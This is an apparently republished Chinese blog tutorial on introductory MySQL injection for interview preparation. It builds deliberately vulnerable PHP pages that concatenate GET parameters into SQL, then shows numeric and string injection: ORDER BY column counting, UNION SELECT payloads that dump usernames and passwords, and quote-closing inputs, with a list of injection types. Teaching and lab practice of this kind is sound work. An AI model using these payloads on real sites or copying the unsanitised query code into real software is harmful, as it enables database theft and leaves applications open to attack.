前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >面试中遇到的坑之mysql注入入门

面试中遇到的坑之mysql注入入门

作者头像
lonelyvaf
发布2018-06-07 14:45:40
8990
发布2018-06-07 14:45:40
举报

在文章之前先提一下~~~ Jdrops0同学问到上次的黑客技能训练网址是这个:https://www.vulnhub.com国外的一个不错的网站。

由于这几天忙着面试的准备和其他一些文档的整理,所以没有更新和查看公众号~~~,黑客技能训练第三弹的write up这几天也会出,感谢大家支持。

其实这三篇write up主要是要写Linux下提权的三种思路,至于渗透的过程,大家娱乐下,看看就好,没什么亮点。第三种方法是这个长什么样子的,有兴趣的同学可以提前去安全客网站上看:http://bobao.360.cn/learning/detail/304.html很不错呦!

可惜他们没有write up,中文版的也没有。言归正传,这次黑客技能训练之Linux提权篇完成就要更新一些比较详细,细致的基础知识了,可能面试会问到哦,面试中的坑,也许你平常没注意到~~

Q&A:什么是注入?注入有哪些分类?

Sql注入就是把SQL命令插入到用户可以与服务器请求交互的点,最终达到欺骗服务器执行恶意的SQL命令。

至于sql的分类,这篇文章会详细说出。

00x1 数字型注入

以php为例子,我们首先新建一个叫做users的数据库,新建两个表,分别为news和users插入以下语句:

MariaDB [injection]> insert usersvalues('test1','123',1);

Query OK, 1 row affected (0.00 sec)

MariaDB [injection]> insert usersvalues('test2','456',2);

Query OK, 1 row affected (0.00 sec)

MariaDB [injection]> insert usersvalues('test3','789',3);

Query OK, 1 row affected (0.00 sec)

MariaDB [injection]> insert usersvalues('admin',MD5(‘adminhack’)‘,4);

Query OK, 1 row affected (0.00 sec)

MariaDB [injection]> insert newsvalues('today\'s news','it is the best day,and

there are some interestingthings',1);

Query OK, 1 row affected (0.00 sec)

新建一个news.php文件,源码如下:

<?php

$conn =mysql_connect('localhost','root','vaf') or die("bad connect thehost");

mysql_select_db('injection',$conn) ordie("database connect error");

$id =$_GET['id'];

$sql = "select * from news where id= $id";

$result = mysql_query($sql,$conn) ordie(mysql_error());

$row = mysql_fetch_array($result);

echo"<b>title:</b>".$row['title']."<hr>";

echo"<b>content:</b>".$row['content']."<hr>";

?>

输入一撇 ’ ,报错了,因为这样造成引号没有闭合导致了sql引号成双成对的爱情梦破灭。

那么同样,我们可以进行union查询。

为什么注入中要用哦order by 进行字段数的判断呢?

Order by 明明是一个对结果集进行排序的函数。

Sql默认order by 后面的数字为id :SELET * FROM news WHERE id=1 ORDER BY id [参数] ASC [参数] LIMIT 10,10 [参数]

这里到了字段4就报错,3正常,说明有四个字段(列)。

那我们可以构造sql语句查询users这个表,当然了,你要加union 来合并多个select语句的结果集。

http://192.168.217.128/1.php?id=1%20and%201=2%20union%20select%201,2,3%20from%20users

为什么后面要加select 1,2,3 from users呢?

union 关键字前后的查询返回的列数必须相同,不然没法拼接成一个表

比如:你的这个查询前面返回了6列,后面的查询只返回了3列。缺少的列可以通过显示地指定Null来补充。

我们要查询users表中的admin 和admin对应的password没错,但是要用1,2,3来补齐字段。

那为什么我查询出来的这条记录不死admin呢?你要知道。这个两个字段中不止admin这条记录,数据库一般会显示出第一条记录。

默认的语句就是:

http://192.168.217.128/1.php?id=1and 1=2 union select username,password,3 from users limit 0,1

limit这个函数,比如:elect * from tablename limit m,n即取出第m+1到n+m(m的索引值是从0开始的)。

Ok,看图。我的第一条数据是test2(没有设置主键AUTO_INCREMENT)。所以注入出来是test2,456。

那么我们换成这样http://192.168.217.128/1.php?id=1 and 1=2union select username,password,3 from users limit 3,4

就爆出了admin和admin的密码了

当然mysql5.0以上有imformation_schema这里,就不多说。只是提大致分类,理清思路。

00x2 字符型注入

比如登陆框,搜索框,甚至在url处都有存在。

有人会问注入还不是分cookie注入、post注入、盲注、延时注入么?其实只是字符型和数字型的多种表现形式。

因为我们是对数据库注入,个人认为分类应该从数据类型来分类。

以下是常见的注入叫法:

POST注入:注入字段POST数据中。

Cookie注入:注入字段在cookie字段中。

延时注入:使用数据库延时特性注入。

搜索注入:注入处为搜索的地点。

Base64注入:注入的字符串需要经过base64加密。

.

.

.

字符型注入:

我们同样用上面的数据库,但是我们用以下的代码来实验。

<?

$name=$_GET['title'];

$conn=mysql_connect("127.0.0.1","root","vaf");//连接mysql数据库

if($conn){

echo "ok!";

}//判断连接是否成功

mysql_select_db('injection',$conn);//选择连接请求为conn的数据库(fanke)

$sql="select* from news where title='$name'"; //字符型搜索语句

$result=mysql_query($sql);

$row =mysql_fetch_array($result);

echo "标题:".$row['title']."<br >";

echo "内容:".$row['content']."<br >";

mysql_close($conn);//关闭数据库连接

echo"<hr>";

echo "你当前执行的sql语句为:";

echo "select* from user where title='$name'";

这里的title值就是字符类型了。

那么我么最重要的是闭合单引号,不然会使得sql语句报错。单引号永远是成双成对的。

http://192.168.217.128/3.php?title=new1' order by 1 or '1'='1

同样注入的手法可以参考以上。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2016-11-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 晨星先生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档